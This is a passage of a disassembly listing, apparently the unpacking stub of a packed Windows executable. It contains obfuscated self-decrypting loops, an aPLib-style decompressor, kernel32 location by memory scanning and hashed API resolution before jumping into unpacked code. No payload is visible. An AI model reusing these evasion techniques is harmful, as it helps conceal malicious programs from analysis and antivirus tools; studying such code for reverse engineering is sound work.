		pop	eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4650C0:				; CODE XREF: .nsp0:004650B8j
		xor	eax, eax
		neg	eax
		sbb	eax, eax
		inc	eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4650CA:				; CODE XREF: .nsp0:00465043j
		mov	al, 6Ah
		call	near ptr loc_4650D3+4
		push	esi
		xlat


loc_4650D3:				; CODE XREF: .nsp0:004650CCp
		les	ebp, [ebp-2F498C1Eh]
		pop	ebx
		mov	ax, 48C7h
		add	ebx, 8BDh
		call	near ptr loc_4650EC+4
		arpl	[eax+19h], sp


loc_4650EC:				; CODE XREF: .nsp0:004650E4p
		fidivr	word ptr [edi-2E752A74h]
		pop	edx
		mov	ecx, 47B0508Dh
		sub	ecx, 47B04E80h
		jmp	loc_465111
; ---------------------------------------------------------------------------
		db 8Eh
		dd 9A45BCAFh, 66C1A8CBh, 0F2FD54A7h
; ---------------------------------------------------------------------------
		inc	ebx


loc_465111:				; CODE XREF: .nsp0:004650FEj
					; .nsp0:00465154j
		mov	esi, [ebx]
		push	0AF9D39Fh
		movzx	eax, dx
		pop	edx
		sub	esi, 0D87C53Dh
		xor	eax, 3EA42DF0h
		xor	esi, 2B15C132h
		push	7104E28Fh
		mov	dh, 2Ch
		pop	eax
		sub	esi, 17CCAE83h
		xor	edx, 205974D9h
		mov	[ebx], esi
		and	ax, 638h
		sub	ebx, 4
		mov	dh, al
		sub	ecx, 1
		jnz	loc_465111
		mov	dx, 0DE5Ah
		mov	edx, eax
		call	near ptr loc_465169+5
		lea	eax, [edx+53h]
		nop


loc_465169:				; CODE XREF: .nsp0:00465160p
		mov	[esi-17BA4351h], ecx
		or	eax, 0C1000000h
		cmpsw
		push	esp
		std
		repne inc ebx
		sar	cl, 3Eh
		lahf
		in	al, dx
		mov	ch, 59h
		pop	eax
		mov	cx, dx
		add	eax, 828h
		add	dx, 0B0ABh
		push	1D4h
		jl	loc_46519E
		movzx	ecx, bx


loc_46519E:				; CODE XREF: .nsp0:00465195j
		pop	esi
		mov	cx, di


loc_4651A2:				; CODE XREF: .nsp0:00465233j
		push	dword ptr [eax]
		jle	loc_4651B4
		push	2124C577h
		mov	di, 1C50h
		pop	edx


loc_4651B4:				; CODE XREF: .nsp0:004651A4j
		pop	ebx
		mov	di, si
		add	ebx, 626E4263h
		add	cl, 14h
		sub	ebx, 7CBE9E60h
		mov	cx, 0ABB9h
		xor	ebx, 0FAADF19h
		jmp	loc_4651E7
; ---------------------------------------------------------------------------
		dw 0A75h
		dd 0D6F1987Bh, 622D4457h, 0AE29B0F3h
; ---------------------------------------------------------------------------
		dec	edi
		fsubr	st(5), st


loc_4651E7:				; CODE XREF: .nsp0:004651D1j
		mov	[eax], ebx
		mov	dx, 8786h
		sub	eax, 4
		add	dx, 7A99h
		dec	esi
		jnz	loc_46521C
		push	eax
		jnb	loc_465205
		push	eax
		pop	ecx


loc_465205:				; CODE XREF: .nsp0:004651FDj
		pop	edi
		jmp	loc_465241
; ---------------------------------------------------------------------------
		db 0C5h
		dd 41284B1Ah, 7DD427E6h, 7940C372h, 356C1FBEh
; ---------------------------------------------------------------------------


loc_46521C:				; CODE XREF: .nsp0:004651F6j
		push	12D0BD58h
		jmp	loc_465232
; ---------------------------------------------------------------------------
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf
		movsd
		jp	short loc_46525D


loc_465232:				; CODE XREF: .nsp0:00465221j
		pop	edi
		jmp	loc_4651A2
; ---------------------------------------------------------------------------
		dd 0A0A3D25Dh, 0CCFF1E59h
		db 15h
; ---------------------------------------------------------------------------


loc_465241:				; CODE XREF: .nsp0:00465206j
		add	dx, 0EF7Bh
		call	sub_465258
		icebp
		setalc
		push	edi
		inc	esp
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st

; =============== S U B	R O U T	I N E =======================================



sub_465258	proc near		; CODE XREF: .nsp0:00465246p
		mov	cx, 9561h
		pop	ebx


loc_46525D:				; CODE XREF: .nsp0:00465230j
		mov	edi, 689FC0E0h
		add	ebx, 741h
		adc	dh, 55h
		mov	eax, 23B4C75Bh
		add	eax, 0DC4B3A4Bh


loc_465276:				; CODE XREF: sub_465258+8Aj
		mov	esi, [ebx]
		and	dh, 0C5h
		sub	esi, 36F67767h
		jnb	loc_465290
		jnb	loc_465290
		movzx	edx, bx


loc_465290:				; CODE XREF: sub_465258+29j
					; sub_465258+2Fj
		add	esi, 7FFC6914h
		movzx	ecx, bx
		sub	esi, 3FF505BDh
		push	ebx
		or	edx, 232747E9h
		pop	ecx
		push	esi
		mov	di, cx
		pop	dword ptr [ebx]
		jnp	loc_4652B6
		movsx	edx, cx


loc_4652B6:				; CODE XREF: sub_465258+55j
		sub	ebx, 4
		sub	di, 1615h
		dec	eax
		jnz	loc_4652DE
		mov	ch, 0B9h
		jmp	loc_4652F8
; ---------------------------------------------------------------------------
		dd 0C9D09382h, 85FCEFCEh, 1E80BDAh, 3D94E7A6h
		db 32h,	83h
; ---------------------------------------------------------------------------


loc_4652DE:				; CODE XREF: sub_465258+67j
		mov	cx, 0F3DFh
		jmp	loc_465276
; ---------------------------------------------------------------------------
		db 0F5h
		dd 7118FB8Ah, 0ADC4D756h, 0A93073E2h, 655CCF2Eh
; ---------------------------------------------------------------------------


loc_4652F8:				; CODE XREF: sub_465258+6Fj
		call	near ptr loc_465306+6
		mov	ebp, [eax-7Fh]
		db	26h, 67h
		adc	al, 0BDh
		mov	dl, 3


loc_465306:				; CODE XREF: sub_465258:loc_4652F8p
		cmp	byte ptr [ecx+75AC5FFEh], 0B4h
sub_465258	endp ; sp-analysis failed

		sbb	eax, 9E85Ah
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	bh, 11h
		pop	esi
		movzx	eax, di
		add	esi, 677h
		movsx	edx, si
		mov	ecx, 76E68D1h
		sub	ecx, 76E6759h
		mov	ax, di


loc_46533A:				; CODE XREF: .nsp0:00465398j
		push	dword ptr [esi]
		add	bh, 0C5h
		pop	edi
		push	7B663328h
		mov	edx, 1E7F59D4h
		pop	ebx
		xor	edi, 27337F4Dh
		push	21B487BEh
		mov	bx, 0B658h
		pop	ebx
		xor	edi, 6444DA02h
		movzx	eax, di
		xor	edi, 4B499F13h
		mov	dh, 5Ch
		mov	[esi], edi
		mov	dl, bh
		sub	esi, 4
		mov	dx, ax
		sub	ecx, 1
		jnz	loc_465395
		mov	eax, ecx
		jmp	loc_4653AF
; ---------------------------------------------------------------------------
		db 64h,	0CDh, 82h
		dd 0CEC9D093h, 0DA85FCEFh
		db 0Bh
; ---------------------------------------------------------------------------


loc_465395:				; CODE XREF: .nsp0:0046537Cj
		adc	al, 94h
		jmp	loc_46533A
; ---------------------------------------------------------------------------
		db 32h,	83h, 0
		dd 2CDF7E39h, 18FB8AF5h, 0C4D75671h
		db 0ADh, 0E2h, 73h
; ---------------------------------------------------------------------------


loc_4653AF:				; CODE XREF: .nsp0:00465384j
		mov	ax, 315h
		call	near ptr loc_4653C6+1
		sbb	edi, [eax+64F7F691h]
		int	82h
		xchg	eax, ebx
		ror	cl, 1
		into
		out	dx, eax
		cld


loc_4653C6:				; CODE XREF: .nsp0:004653B3p
		test	[eax-18h], ebp
		or	dl, dl
		inc	esp
		mov	esi, ebx
		pop	esi
		pop	edi
		mov	ah, 56h
		add	edi, 5D4h
		or	esi, 3EABB630h
		sub	edx, edx
		push	144E055Ch
		mov	bl, 1Bh
		pop	eax


loc_4653E8:				; CODE XREF: .nsp0:0046544Dj
		push	dword ptr [edx+edi]
		jmp	loc_4653F7
; ---------------------------------------------------------------------------
		dd 0DE196063h
		db 0BFh, 8Ch, 0D5h
; ---------------------------------------------------------------------------


loc_4653F7:				; CODE XREF: .nsp0:004653EBj
		pop	ecx
		mov	ax, 0E151h
		xor	ecx, 1EE0A688h
		add	ecx, 6D948821h
		mov	bl, 0Ch
		xor	ecx, 143E3446h
		call	near ptr loc_465425+1
		inc	ebp
		call	far ptr	54A7h:66C1A8CBh
		std
		repne inc ebx
		sar	cl, 3Eh
		lahf
		in	al, dx


loc_465425:				; CODE XREF: .nsp0:00465410p
		mov	ch, 66h
		sbb	esi, 51585F16h
		jmp	loc_465437
; ---------------------------------------------------------------------------
		dw 0EE69h
		db 8Fh,	1Ch, 25h
; ---------------------------------------------------------------------------


loc_465437:				; CODE XREF: .nsp0:0046542Dj
		pop	dword ptr [edi+edx]
		mov	ebx, eax
		mov	si, 0E8DDh
		sub	edx, 4
		mov	si, 0B67Fh
		cmp	edx, 0FFFFFAD8h
		jnz	loc_4653E8
		jmp	loc_465468
; ---------------------------------------------------------------------------
		dd 77761138h, 13024DE4h, 6F4E4950h, 8B5A057Ch
; ---------------------------------------------------------------------------


loc_465468:				; CODE XREF: .nsp0:00465453j
		call	$+5
		pop	ebp
		pop	ebx
		mov	[ebp+5Bh], ebx
		pop	ebx
		mov	[ebp+5Fh], ebx
		pop	eax
		mov	[ebp+40Dh], eax
		pop	eax
		cmp	byte ptr [ebp+5Ah], 1
		jnz	short loc_4654DD
		mov	[ebp+425h], eax
		pusha
		lea	eax, [ebp+33h]
		push	eax
		xor	eax, eax
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_465782
		jmp	short loc_4654BC
; ---------------------------------------------------------------------------
		mov	esp, [esp+8]
		pop	dword ptr fs:0
		add	esp, 4
		popa
		lea	eax, [ebp+63h]
		push	eax
		call	dword ptr [ebp+5Fh]
		call	loc_465798
		jmp	short loc_4654C5
; ---------------------------------------------------------------------------


loc_4654BC:				; CODE XREF: .nsp0:0046549Ej
		pop	dword ptr fs:0
		add	esp, 24h


loc_4654C5:				; CODE XREF: .nsp0:004654BAj
		jmp	short loc_4654E2
; ---------------------------------------------------------------------------
		align 4
		dd offset dword_465048
aBAKernel32_dll	db '|kernel32.dll',0
; ---------------------------------------------------------------------------


loc_4654DD:				; CODE XREF: .nsp0:00465482j
		call	sub_46577E


loc_4654E2:				; CODE XREF: .nsp0:loc_4654C5j
		cld
		lea	esi, [ebp+8Ch]
		lodsd
		or	eax, eax
		jz	short loc_465509
		mov	edi, eax
		mov	ecx, 0Ch
		rep movsb
		jmp	short loc_465509
; ---------------------------------------------------------------------------
		align 2
		dw 4010h
		dd 0BC432800h, 0A2111932h, 2F564680h
; ---------------------------------------------------------------------------
		setalc


loc_465509:				; CODE XREF: .nsp0:004654ECj
					; .nsp0:004654F7j
		mov	[ebp+429h], esp
		push	40h
		push	1000h
		push	dword ptr [ebp+408h]
		push	0
		call	dword ptr [ebp+3F0h]
		mov	[ebp+1CCh], eax
		mov	ebx, [ebp+400h]
		add	ebx, [ebp+40Dh]
		push	eax
		push	ebx
		call	sub_465641
		push	40h
		push	1000h
		push	dword ptr [ebp+408h]
		push	0
		call	dword ptr [ebp+3F0h]
		mov	[ebp+431h], eax
		mov	[ebp+1D0h], eax
		mov	eax, fs:0
		mov	[ebp+42Dh], eax
		mov	edx, [ebp+5Bh]
		mov	eax, [ebp+1D0h]
		mov	[edx], eax
		mov	eax, [ebp+408h]
		mov	[edx+4], eax
		lea	eax, [ebp+39Fh]
		mov	eax, [eax+55h]
		mov	[edx+8], eax
		mov	eax, [ebp+3ECh]
		mov	[edx+10h], eax
		mov	eax, [ebp+3E8h]
		mov	[edx+14h], eax
		mov	edx, [ebp+1CCh]
		mov	ebx, 1F8h


loc_4655A6:				; CODE XREF: .nsp0:004655CAj
		mov	edi, [edx+ebx+0Ch]
		or	edi, edi
		jz	short loc_4655CC
		mov	ecx, [edx+ebx+10h]
		or	ecx, ecx
		jz	short loc_4655C7
		add	edi, [ebp+1D0h]
		mov	esi, [edx+ebx+14h]
		add	esi, edx
		sar	ecx, 2
		rep movsd


loc_4655C7:				; CODE XREF: .nsp0:004655B4j
		add	ebx, 28h
		jmp	short loc_4655A6
; ---------------------------------------------------------------------------


loc_4655CC:				; CODE XREF: .nsp0:004655ACj
		mov	eax, [ebp+1CCh]
		push	eax
		mov	edx, [ebp+1D0h]
		push	edx
		mov	ebx, [eax]
		add	ebx, edx
		mov	eax, [ebp+3E4h]
		mov	[ebx], eax
		mov	eax, [ebp+3E8h]
		mov	[ebx+4], eax
		mov	eax, [ebp+3ECh]
		mov	[ebx+8], eax
		pop	edi
		pop	esi
		mov	eax, [esi+4]
		add	eax, edi
		mov	[ebp+1C7h], eax
		mov	edx, [ebp+5Bh]
		mov	eax, [ebp+1C7h]
		mov	[edx+0Ch], eax
		lea	ebx, [ebp+40Dh]
		push	ebx
		push	0
		push	0
		push	1
		push	edi
		mov	ebx, [esi+8]
		add	ebx, edi
		push	ebx
		push	8000h
		push	0
		push	esi
		call	dword ptr [ebp+3F4h]
		push	3FE000h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 3Ah
		dd 3D000000h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_465641	proc near		; CODE XREF: .nsp0:00465538p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		pusha
		push	ebp
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		cld
		mov	dl, 80h


loc_46564F:				; CODE XREF: sub_465641:loc_46565Ej
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_465655:				; CODE XREF: sub_465641+72j
					; sub_465641+B7j ...
		add	dl, dl
		jnz	short loc_46565E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46565E:				; CODE XREF: sub_465641+16j
		jnb	short loc_46564F
		add	dl, dl
		jnz	short loc_465669
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_465669:				; CODE XREF: sub_465641+21j
		jnb	short loc_4656B5
		xor	eax, eax
		add	dl, dl
		jnz	short loc_465676
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_465676:				; CODE XREF: sub_465641+2Ej
		jnb	loc_465752
		add	dl, dl
		jnz	short loc_465685
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_465685:				; CODE XREF: sub_465641+3Dj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_465690
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_465690:				; CODE XREF: sub_465641+48j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_46569B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46569B:				; CODE XREF: sub_465641+53j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4656A6
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4656A6:				; CODE XREF: sub_465641+5Ej
		adc	eax, eax
		jz	short loc_4656B0
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4656B0:				; CODE XREF: sub_465641+67j
		mov	[edi], al
		inc	edi
		jmp	short loc_465655
; ---------------------------------------------------------------------------


loc_4656B5:				; CODE XREF: sub_465641:loc_465669j
		mov	eax, 1


loc_4656BA:				; CODE XREF: sub_465641:loc_4656CEj
		add	dl, dl
		jnz	short loc_4656C3
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4656C3:				; CODE XREF: sub_465641+7Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4656CE
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4656CE:				; CODE XREF: sub_465641+86j
		jb	short loc_4656BA
		sub	eax, 2
		jnz	short loc_4656FD
		mov	ecx, 1


loc_4656DA:				; CODE XREF: sub_465641:loc_4656EEj
		add	dl, dl
		jnz	short loc_4656E3
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4656E3:				; CODE XREF: sub_465641+9Bj
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4656EE
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4656EE:				; CODE XREF: sub_465641+A6j
		jb	short loc_4656DA
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_465655
; ---------------------------------------------------------------------------


loc_4656FD:				; CODE XREF: sub_465641+92j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_46570B:				; CODE XREF: sub_465641:loc_46571Fj
		add	dl, dl
		jnz	short loc_465714
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_465714:				; CODE XREF: sub_465641+CCj
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_46571F
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46571F:				; CODE XREF: sub_465641+D7j
		jb	short loc_46570B
		cmp	eax, 7D00h
		jnb	short loc_465742
		cmp	eax, 500h
		jb	short loc_46573D
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_465655
; ---------------------------------------------------------------------------


loc_46573D:				; CODE XREF: sub_465641+ECj
		cmp	eax, 7Fh
		ja	short loc_465745


loc_465742:				; CODE XREF: sub_465641+E5j
		add	ecx, 2


loc_465745:				; CODE XREF: sub_465641+FFj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_465655
; ---------------------------------------------------------------------------


loc_465752:				; CODE XREF: sub_465641:loc_465676j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_46576E
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_465655
; ---------------------------------------------------------------------------


loc_46576E:				; CODE XREF: sub_465641+119j
		pop	ebp
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_4], edi
		popa
		pop	ebp
		retn	8
sub_465641	endp

; ---------------------------------------------------------------------------
		dw 261Ch
		db 80h,	7Ch

; =============== S U B	R O U T	I N E =======================================



sub_46577E	proc near		; CODE XREF: .nsp0:loc_4654DDp

arg_20		= dword	ptr  24h

		mov	eax, [esp+arg_20]
sub_46577E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_465782	proc near		; CODE XREF: .nsp0:00465499p
		and	eax, 0FFFF0000h
		add	eax, 10000h


loc_46578C:				; CODE XREF: sub_465782+14j
		sub	eax, 10000h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_46578C


loc_465798:				; CODE XREF: .nsp0:004654B5p
		pusha
		mov	[ebp+3F8h], eax
		mov	edx, eax
		mov	ebx, eax
		add	eax, [eax+3Ch]
		add	ebx, [eax+78h]
		mov	[ebp+30Dh], ebx
		lea	ebx, [ebp+3CCh]
		lea	edi, [ebp+3E4h]


loc_4657BB:				; CODE XREF: sub_465782+4Dj
		mov	esi, [ebx]
		mov	[ebp+37Ch], esi
		call	sub_4657D3
		stosd
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		jnz	short loc_4657BB
		popa
		retn
sub_465782	endp


; =============== S U B	R O U T	I N E =======================================



sub_4657D3	proc near		; CODE XREF: sub_465782+41p

var_4		= dword	ptr -4

		pusha
		mov	ebx, [ebp+30Dh]
		mov	ecx, [ebx+20h]
		add	ecx, edx


loc_4657DF:				; CODE XREF: sub_4657D3+21j
		mov	esi, [ecx]
		add	esi, edx
		call	sub_465817
		mov	edi, 49CD75CEh
		cmp	eax, edi
		jz	short loc_4657F6
		add	ecx, 4
		jmp	short loc_4657DF
; ---------------------------------------------------------------------------


loc_4657F6:				; CODE XREF: sub_4657D3+1Cj
		sub	ecx, [ebx+20h]
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, [ebx+24h]
		add	ecx, edx
		movzx	ecx, word ptr [ecx]
		shl	ecx, 2
		add	ecx, [ebx+1Ch]
		add	ecx, edx
		mov	ecx, [ecx]
		add	ecx, edx
		mov	[esp+20h+var_4], ecx
		popa
		retn
sub_4657D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_465817	proc near		; CODE XREF: sub_4657D3+10p
		push	edx
		mov	edx, 9C3B248Eh


loc_46581D:				; CODE XREF: sub_465817+1Dj
		lodsb
		or	al, al
		jz	short loc_465836
		xor	dl, al
		mov	al, 8


loc_465826:				; CODE XREF: sub_465817+1Bj
		shr	edx, 1
		jnb	short loc_465830
		xor	edx, 0C1A7F39Ah


loc_465830:				; CODE XREF: sub_465817+11j
		dec	al
		jnz	short loc_465826
		jmp	short loc_46581D
; ---------------------------------------------------------------------------


loc_465836:				; CODE XREF: sub_465817+9j
		xchg	eax, edx
		pop	edx
		retn
sub_465817	endp

; ---------------------------------------------------------------------------
		db 0A7h, 51h, 25h
		dd 493BF0B7h, 190257A7h, 0EE321390h, 0CD75CE74h, 49h, 80ADA000h
		dd 80B6A17Ch, 801D777Ch, 809A517Ch, 809AE47Ch, 8000007Ch
		dd 15A007Ch, 65B1C00h, 158F200h, 3000000h, 0
		dd 2 dup(40h), 2 dup(0)
		dd 0E1000000h, 1, 0FFA40000h, 0FFE00012h, 12h, 1000003Dh
		dd 0BC000000h, 0DC7B0001h, 0D0000000h, 1C000001h, 14D60000h
		dd 0F0000000h, 34000001h, 61370001h, 46h dup(0)
		dd 2000h, 8, 6 dup(0)
		dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
		dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
		dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
		dd 3 dup(0)
		dd 65A10h, 659FCh, 3 dup(0)
		dd 65AB4h, 65AD9h, 3 dup(0)
		dd 65ABFh, 65AE1h, 3 dup(0)
		db 0CCh
		db 5Ah,	6, 0
; ---------------------------------------------------------------------------
		jmp	loc_4660FB
; ---------------------------------------------------------------------------
		align 4
		dd 4 dup(0)
		dd 5F327377h, 642E3233h, 6F006C6Ch, 7561656Ch, 2E323374h
		dd 6C6C64h, 6E72656Bh, 32336C65h, 6C6C642Eh, 0AB442800h
		dd 71h,	126AEA00h, 77h,	812A0900h, 7Ch,	56000000h, 61697261h
		dd 6843746Eh, 65676E61h, 65707954h, 7845h, 69615200h, 78456573h
		dd 74706563h, 6E6F69h, 0
		dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h
		dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h
		dd 6592260h, 2801142Bh,	70122051h, 1A0A012Ah, 47F45001h
		dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h,	9150BD24h
		dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h
		dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h
		dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h
		dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h
		dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h,	8401E488h
		dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h,	3968726Ch
		dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h
		dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h,	0DEE1D3Ah
		dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h
		dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h
		dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch
		dd 8320720h, 3618391Ch,	100F7A14h, 80900C23h, 0BE5653C0h
		dd 0C774074Ch, 3E8312h,	44683A75h, 0CC066701h, 0DFE8036Ah
		dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h
		dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h
		dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h
		dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h,	0ED859602h
		dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h
		dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h
		dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh
		dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h
		dd 3D0A043h, 0C795300h,	14751612h, 0E8130006h, 27D4DDA7h
		dd 0A7F6096h, 4460100h,	4C50EB6Eh, 3B4E0003h, 0D75C215h
		dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h
		dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h
		dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h
		dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h
		dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h
		dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h,	9E2A26h
		dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h,	30D476B9h
		dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch
		dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h
		dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h,	68016A04h
		dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch
		dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh
		dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h
		dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh,	1C259332h
		dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh,	0E4491312h
		dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h
		dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h
		dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h
		dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh,	2C05C700h
		dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h,	0ED7E0460h
		dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h,	0AD2B0C15h
		dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h
		dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h
		dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh
		dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h
		dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h
		dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h
		dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h
		dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch
		dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h,	2E24249h
		dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h
		dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h
		dd 0E55D759h, 557E800h,	74772117h, 46FD0050h, 85764963h
		dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h
		dd 19CCCB21h, 390BFBAh,	5CCDA7A0h, 7423A500h, 0E83A060Ch
		dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh
		dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h
		dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h
		dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h,	8400B175h
		dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h
		dd 0E345947h, 7850F82h,	9FFF6A66h, 48EB704Bh, 81166B29h
		dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h,	38832146h
		dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah
		dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch
		dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h, 0D32B7406h
		dd 0EB298B00h, 0B844CC05h, 4D4F0089h, 8F5CF1B9h, 0DB038520h
		dd 59B61FCAh, 64B490C3h, 0B1892E39h, 0B2A5032Dh, 0F6B80811h
		dd 0F2004914h, 40333C48h, 94EB03h, 8E07957Ah, 815C8D52h
		db 0, 28h, 0ECh
; ---------------------------------------------------------------------------


loc_4660FB:				; CODE XREF: .nsp0:00465A9Cj
		pushf
		jmp	far ptr	4B7Fh:19662668h
; ---------------------------------------------------------------------------
		align 4
		dd 3332FF64h, 30DA2289h, 68288F00h, 3D800301h, 65700041h
		dd 230A7E16h, 5D000713h, 6F8861EFh, 0F8729EB5h,	1214008Ch
		dd 0CA0FF868h, 0A30718CCh, 3D832D88h, 841A0650h, 0EFB8002Fh
		dd 5159D85h, 0C900330Eh, 0F482C080h, 173D2A40h,	0DAF01h
		dd 2770B841h, 7300BE2Ch, 847C62C8h, 52805C6h, 0EA0014Ah
